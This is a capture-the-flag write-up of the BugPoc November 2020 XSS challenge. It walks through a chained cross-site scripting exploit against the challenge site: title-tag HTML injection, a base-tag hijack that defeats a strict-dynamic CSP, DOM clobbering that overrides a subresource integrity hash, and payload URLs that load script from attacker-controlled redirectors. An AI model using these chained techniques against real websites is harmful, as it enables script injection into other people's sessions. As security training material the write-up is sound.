$ cat 'Write-up: BugPoc November 2020 XSS Challenge'

I’ve been getting into XSS challenges over the last few weeks and BugPoc recently announced a nice tough one:

Getting Started

So, let’s take a look around the challenge site. It looks like we have a “wacky text generator”, which takes some text from a <textarea> and makes it “wacky” by applying a bunch of different fonts and colours to individual characters.

An inital look

After trying the obvious approach of using <script>alert(origin)</script> and failing, it’s time to dig into the code behind this page.

A quick scan of the HTML reveals an iframe which takes the input text and writes the styled output. Anything that takes input and returns output which is a function of it is a great first place to look for an XSS attack vector, so let’s dig deeper.

An interesting iframe...

Navigating straight to the iframe src address (https://wacky.buggywebsite.com/frame.html?param=Hello,%20World!) results in the following message:

This page can only be viewed from an iframe

Even though we see this message, we can see our input is still visible inside the <title> tag of the resultant page. Let’s try to abuse this and try to inject some JavaScript.

Content Security Policy

So using the URL https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cscript%3Ealert(origin)%3C/script%3E (closing the title tag as Chrome won’t interpret script tags between them), we get the following output:

Not quite XSS

Success! But wait, we don’t see an alert box when we visit the page. Instead we see an error in the console explaining what’s going on. We’re violating the site’s Content Security Policy, meaning Chrome will refuse to interpret our injected script.

A CSP error

The CSP is in this case defined in the Content-Security-Policy HTTP header.

Not quite XSS

There’s a great resource we can use for learning more about CSPs at content-security-policy.com.

Let’s break the policy down and use the above link to turn each part into something meaningful.

script-src 'nonce-pelundurtnhv' 'strict-dynamic'

This allows script tags to be loaded in two different ways.

The nonce-pelundurtnhv part means that any <script> tag with a nonce attribute of pelundurtnhv will be interpreted. So could we inject something like </title><script nonce="pelundurtnhv">alert(origin)</script> to comply with this? Well, no. The nonce value is randomly generated on each page load. Unless we can predict the behaviour of the server’s RNG, we won’t be able to guess a valid nonce value and get our script executed. So it looks like it’s time to forget about the nonce and move on.

Nonce

The strict-dynamic part means any allowed script can add more scripts to the page, and these will automatically be allowed. So if we could trick one of the existing script blocks to load a malicious script of ours, we could get our own code running.

frame-src 'self'

This allows iframes with a src matching the site origin, so we can load iframes from https://wacky.buggywebsite.com/*.

object-src 'none'

This disallows all sources of browser plugins such as <object>, <applet>, <embed>. We won’t be using these in our solution then.

Analysing the <script> Tags

So we’re looking to abuse an existing <script> tag to trick it into loading a script of our own.

Since one of the requirements of the challenge involves creating a proof-of-concept hosted on bugpoc.com, it seems as good a place as any to host the script file we’re going to try to inject. We can use the Mock Endpoint tool to do this. It’s essentially a handy endpoint that we can configure in a number of ways. In this instance, we’re going to set some basic headers and a JavaScript payload, via a simple 200 OK response.

Mock endpoint

Now we have our script ready, let’s look for a way to inject it using the existing script tags on the site. Taking a look at the contents of frame.html, we can see several potential candidates.

The first doesn’t look like it has a great deal of potential:

<script nonce="efkzuyfqivsy">
    window.dataLayer = window.dataLayer || [];
    function gtag(){dataLayer.push(arguments);}
    gtag('js', new Date());

    gtag('config', 'UA-154052950-4');
    
    !function(){var g=window.alert;window.alert=function(b){g(b),g(atob("TmljZSBKb2Igd2l0aCB0aGlzIENURiEgSWYgeW91IGVuam95ZWQgaGFja2luZyB0aGlzIHdlYnNpdGUgdGhlbiB5b3Ugd291bGQgbG92ZSBiZWluZyBhbiBBbWF6b24gU2VjdXJpdHkgRW5naW5lZXIhIEFtYXpvbiB3YXMga2luZCBlbm91Z2ggdG8gc3BvbnNvciBCdWdQb0Mgc28gd2UgY291bGQgbWFrZSB0aGlzIGNoYWxsZW5nZS4gUGxlYXNlIGNoZWNrIG91dCB0aGVpciBqb2Igb3BlbmluZ3Mh"))}}();
            
</script>

The first tag sets up Google Analytics, and then overrides the alert() function with it’s own. Digging into this reveals a base64 encoded success message meant for later when we solve the challenge. Unless there’s a vulnerability in the analytics code, the chances are this isn’t the route we’re meant to take.

The second tag is a bit meatier, and handles the main functionality - it makes text “wacky”:

<script nonce="efkzuyfqivsy">
    
    // array of colors 
    var colors = [
            "#006633",
            "#00AB8E",
            "#009933", 
            "#00CC33", 
            "#339966",
            ];
            
    // array of fonts
    var fonts = [
            "baloo-bhaina",
            "josefin-slab",
            "arvo",
            "lato",
            "volkhov",
            "abril-fatface",
            "ubuntu",
            "roboto",
            "droid-sans-mono",
            "anton",
    ];


    function randomInteger(max) {
            return Math.floor(Math.random() * Math.floor(max));
    }
            
    function makeRandom(element) {
            for ( var i = 0; i < element.length; i++) {
                var createNewText = '';
                var htmlColorTag = 'color:';
                for ( var j = 0; j < element[i].textContent.length; j++ ) {
                var riFonts = randomInteger(fonts.length);
                var riColors = randomInteger(colors.length);
                createNewText = createNewText + "<span class='" + fonts[riFonts] + "' style='" + htmlColorTag + colors[riColors] + "'>" + element[i].textContent[j] + "</span>";
                }
                element[i].innerHTML = createNewText;
        }			  
    }
    
    var text = document.getElementsByClassName('text');
    makeRandom(text);
    
</script>

It doesn’t look exploitable in any obvious way. The only controllable input is the main input to the page, and this is escaped and broken down into single entities, each of which is wrapped in <span> tags.

Finally, the third script looks a little more interesting:

<script nonce="efkzuyfqivsy">
	
    window.fileIntegrity = window.fileIntegrity || {
        'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
        'algorithm' : 'sha256',
        'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
        'creationtime' : 1602687229
    }

    // verify we are in an iframe
    if (window.name == 'iframe') {
        
        // securely load the frame analytics code
        if (fileIntegrity.value) {
            
            // create a sandboxed iframe
            analyticsFrame = document.createElement('iframe');
            analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
            analyticsFrame.setAttribute('class', 'invisible');
            document.body.appendChild(analyticsFrame);

            // securely add the analytics code into iframe
            script = document.createElement('script');
            script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
            script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
            script.setAttribute('crossorigin', 'anonymous');
            analyticsFrame.contentDocument.body.appendChild(script);
            
        }

    } else {
        document.body.innerHTML = `
        <h1>Error</h1>
        <h2>This page can only be viewed from an iframe.</h2>
        <video width="400" controls>
            <source src="movie.mp4" type="video/mp4">
        </video>`
    }
    
</script>

This script is appending an additional script tag to the page, which is exactly what we’re looking for!

There are a few problems to solve if we want to exploit this:

  1. This will only happen if we’re inside an iframe, or rather, if the name of the window is iframe.
  2. The script to be loaded is hardcoded as files/analytics/js/frame-analytics.js. We can’t change this path.
  3. The script tag being appended has an integrity tag. This means the SHA256 hash of the script will be checked to make sure it is loading the expected content and not something being maliciously injected.
  4. The iframe the script is injected into is sandboxed, meaning we aren’t allowed modals (e.g. alert()) by default.

So, a non-trivial set of hurdles to overcome. Let’s not get overwhelmed, and instead let’s tackle them one at a time.

Solving Problem 1: The Iframe Check

First, we’ll look at the iframe check. We essentially need to make the following condition evaluate as true:

 if (window.name == 'iframe') {

This is actually quite an easy one to work around, and there are 2 obvious solutions here. If we set up our own web page that includes JavaScript which sets window.name, it will actually be preserved if we then redirect to the challenge site. Something like:

<script>
window.name = 'iframe';
window.location = 'https://wacky.buggywebsite.com/frame.html?param=Hello,%20World!';
</script>

We can try it out by running the above in the console.

Look ma, no iframes!

It works!

An alternative method would be to use the HTML injection we found earlier to inject an iframe into the page. We could use something like https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3C/head%3E%3Cbody%3E%3Ciframe%20name=%22iframe%22%20src=%22https://wacky.buggywebsite.com/frame.html?param=it%20works%22%3E%3C/iframe%3E%3C/body%3E%3C/html%3E%3C!--:

Self-contained iframe

This works too! I would generally prefer the second approach as it doesn’t require an HTML page to be hosted elsewhere, but since we’re hosting a PoC on BugPoc for this challenge, we may as well use the first. It means our URL can be a bit simpler too, which always helps when assembling a complex payload.

Either way, problem 1 is solved.

Solving Problem 2: Hardcoded Script Src

The script being loaded has a hardcoded src of files/analytics/js/frame-analytics.js.

 script.setAttribute('src', 'files/analytics/js/frame-analytics.js');

Well, there’s nothing we can do to modify a hardcoded path, right? Well, actually, it isn’t completely hardcoded. It’s a relative URL, not an absolute one. Relative to what? The base URL, which in this case is https://wacky.buggywebsite.com/, meaning the final script loaded would be https://wacky.buggywebsite.com/files/analytics/js/frame-analytics.js. If we had way to change the base URL to https://evil.com/, the script would be loaded from https://evil.com/files/analytics/js/frame-analytics.js instead. If only it were that simple.

Well, it is that simple! We can use a base tag to achieve this. We can inject this in using the HTML injection vulnerability we discovered earlier.

We already have our code hosted by BugPoc, but it’s not at a path that ends with files/analytics/js/frame-analytics.js. We can correct this by using another useful BugPoc feature: a Flexible Redirector. A flexible redirector redirects a request for any path on to another location. We can use it to redirect to the mock endpoint we created earlier. In this case BugPoc gives us the URL https://xbwvcxixjx6o.redir.bugpoc.ninja.

We can now add this to a base tag to load our script onto the page, so let’s update our PoC accordingly:

<script>
window.name = 'iframe';
window.location = 'https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%22https://xbwvcxixjx6o.redir.bugpoc.ninja%22/%3E';
</script>

No alert() is visible, but checking the network panel reveals that our script is being successfully loaded:

Self-contained iframe

Nice! We can see why it isn’t being run if we check the console:

Self-contained iframe

It’s blocked by SRI, which is problem 3 on our list…

Problem 3: Subresource Integrity Checking

Subresource Integrity (SRI) is another useful browser security feature. The hash of a file can be specified in the integrity attribute of the tag used to load it, and the browser will check that the hash of the actual loaded file matches the specified one. This prevents malicious actors replacing scripts with malicious ones.

Integrity

It’s unlikely that we need to look for a Chrome bug here as if such a bug existed, Chrome would likely be patched before the challenge was over. Instead we need to look at the specific implementation within the challenge code.

Let’s strip out the irrelevant code and focus on the SRI bits:

    window.fileIntegrity = window.fileIntegrity || {
        'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
        'algorithm' : 'sha256',
        'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
        'creationtime' : 1602687229
    }

    // ...

    // securely load the frame analytics code
    if (fileIntegrity.value) {
        
        // ...

        // securely add the analytics code into iframe
        script = document.createElement('script');
        script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
        script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
        analyticsFrame.contentDocument.body.appendChild(script);        
    }

    // ...

The actual hash that gets set in the integrity attribute of the script is defined in fileIntegrity.value, which itself is set on the first line(s) of the above snippet. And here’s where there’s a bit of an irregularity:

    window.fileIntegrity = window.fileIntegrity || {
        // ...

The fileIntegrity object has it’s value set here, but it keeps it’s original value if one is defined. Interesting! It’s not defined elsewhere on the page, so why would it already be defined? And more importantly, can we define it?

You can reference elements within the DOM in JavaScript using window.{id}. For example:

    <input type="text" id="fileIntegrity" value="itworks" />
    <script>
        console.log(window.fileIntegrity.value);
    </script>

The above results in itworks being logged to the console. So all we need to do is inject an input tag with an id of fileIntegrity and a value of the SHA256 hash of the file we’re trying to inject.

Updating our PoC gives us:

<script>
window.name = 'iframe';
window.location = 'https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%22https://xbwvcxixjx6o.redir.bugpoc.ninja%22/%3E%3Cinput%20id%3d%22fileIntegrity%22%20value%3d%22sot4TsoYPMqH9HF0f7P0xsez7m6YnNiGcQWr7OJ6FBc%3d%22%2f%3E';
</script>

It works! The integrity error is gone from the console. We still don’t get an alert though, as the iframe is sandboxed…

Self-contained iframe

Solving Problem 4: Sandboxed Iframe

We can’t create modals within the iframe where our code is being run. The solution here is a simple one - call the alert() function on the parent frame instead.

We’ll need to create a new Mock Endpoint using the following:

Mock endpoint 2

And then create a new Flexible Redirector for it:

Flexible redirector

Finally, adjusting our PoC code to include our new flexible redirector URL and the hash of our new file gives us:

<script>
window.name = 'iframe';
window.location = 'https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%22https://l7u6e2pccty7.redir.bugpoc.ninja%22/%3E%3Cinput%20id%3d%22fileIntegrity%22%20value%3d%22QkIPs1Inueee8IH%2bHXpScbWfI0zPgWJvCB9LGWZH/Wc%3d%22%2f%3E';
</script>

Boom! We have a working XSS!

Winner!

We can host our PoC on BugPoc too, to make things easier to reproduce when submitting our report.

Here’s the one I created:

Link: https://bugpoc.com/poc#bp-kvVxxXyn Password: InsIPIdPug75

You’ll need to be running Chrome in order for it to work.

Success

Thanks to BugPoc for a great challenge (and for some useful tools too.)

I’m looking forward to the next one!